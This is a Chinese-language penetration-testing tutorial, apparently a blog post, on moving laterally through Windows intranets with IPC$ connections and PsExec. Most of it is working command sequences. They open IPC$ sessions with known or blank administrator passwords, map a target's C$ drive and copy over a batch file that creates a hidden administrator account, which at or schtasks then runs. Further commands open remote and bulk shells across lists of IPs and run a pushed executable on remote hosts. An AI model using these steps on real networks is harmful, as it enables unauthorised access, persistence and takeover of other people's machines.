前言:
IPC$(Internet process connection)是指内网里面的文件共享连接,通常很多机子的默认共享都是打开的,在cmd下使用命令net share可查看自己的IPC$是否打开。
PsTools是Sysinternals Suite中一款排名靠前的一个安全管理工具套件。现在被微软收购。目前pstools中含有
12
款各式各样的小工具。如果将它们灵活的运用,将会在渗透中收到奇效。所有的pstool第一次运行时都会弹框。可以用–accepteula这个参数绕过。
pstools可批量远程操作windows服务器,还有所有的pstool都支持IPC$,一旦IPC$共享是连接的就不用输入
-
u 和
-
p这两个参数。
IPC$共享连接
在内网对已知用户密码的主机建立IPC$连接,命令如下:
Net use \\目标ip\IPC$ "密码" /user:"用户"
如果目标内网机是xp的系统,那么可以不用用户和密码即可建立IPC连接,且攻击机的系统不能是win10及以上
例如:
net use \\192.168.1.121\IPC$ "" /user:"administrator"
建立后所有的ps工具都将可以不用输入用户和密码了。
建立连接之后可以进行磁盘映射
net use Z: \\192.168.1.121\c$
将目标机的C盘映射到本机的新建Z盘
用IPC$添加用户的操作:
net user test /add
net localgroup administrators test /add
将上诉两条命令保存位adduser.bat文件,然后在本机上执行(已建立连接)
copy adduser.bat \\192.168.1.121\c$
net time \\192.168.1.121
at \\192.168.1.121 执行时间 c:\adduser.bat
删除当前连接,用新的用户建立IPC$连接
net use \\192.168.1.121\ipcc$ /del
win7以前可以使用at命令执行定时任务,但win7及其以后将使用schtasks命令:
每天固定时间使用system权限执行记事本
schtasks /Create /TN TestService2 /SC DAILY /ST : /TR notepad.exe /RL HIGHEST
开启23端口可用telnet登录。
pstools工具使用
需要目标主机开启admin$共享且必须在一个内网才能使用,pstools包含一套工具
其中12款工具简介如下:
PsExec - 远程执行进程
PsFile - 显示远程打开的文件
PsGetSid - 显示计算机或用户的 SID
PsInfo - 列出有关系统的信息
PsKill - 按名称或进程 ID 终止进程
PsList - 列出有关进程的详细信息
PsLoggedOn - 查看在本地通过资源共享(包含所有资源)登录的用户
PsLogList - 转储事件日志记录
PsPasswd - 更改帐户密码
PsService - 查看和控制服务
PsShutdown - 关闭并重新启动(可选)计算机
PsSuspend - 暂停进程
psexec介绍
ps利用最大的就是他了,他可以配合ipc使用。
获取目标机的shell命令结构为:
psexec \\目标ip -u 用户名 -p 密码 进程名
psexec \\192.168.1.121 –u administrator –p 123456 cmd.exe
如果ipc已建立连接,那么可以不用输入用户密码,直接 psexec \\192.168.1.121\ cmd.exe就好了,exit退出shell。
批量运行psexec连接cmd,这个方法适合用于内网存在大量xp系统,先将这些ip保存在一个记事本里面,然后按顺序写好一系列cmd命令放入bat文件中,然后命令行输入:
PsExec @D:\PSTools\ip.txt -c D:\PSTools\.bat cmd.exe
即可返回批量shell。
如果想要远程机器执行本地c:\srm.exe文件可以打:
psexec \\远程机器ip -u administrator -p -c c:\srm.exe
本片文章只讲了IPC$和pstools里面的psexec的配合使用,其他pstools工具的使用请参照以下链接: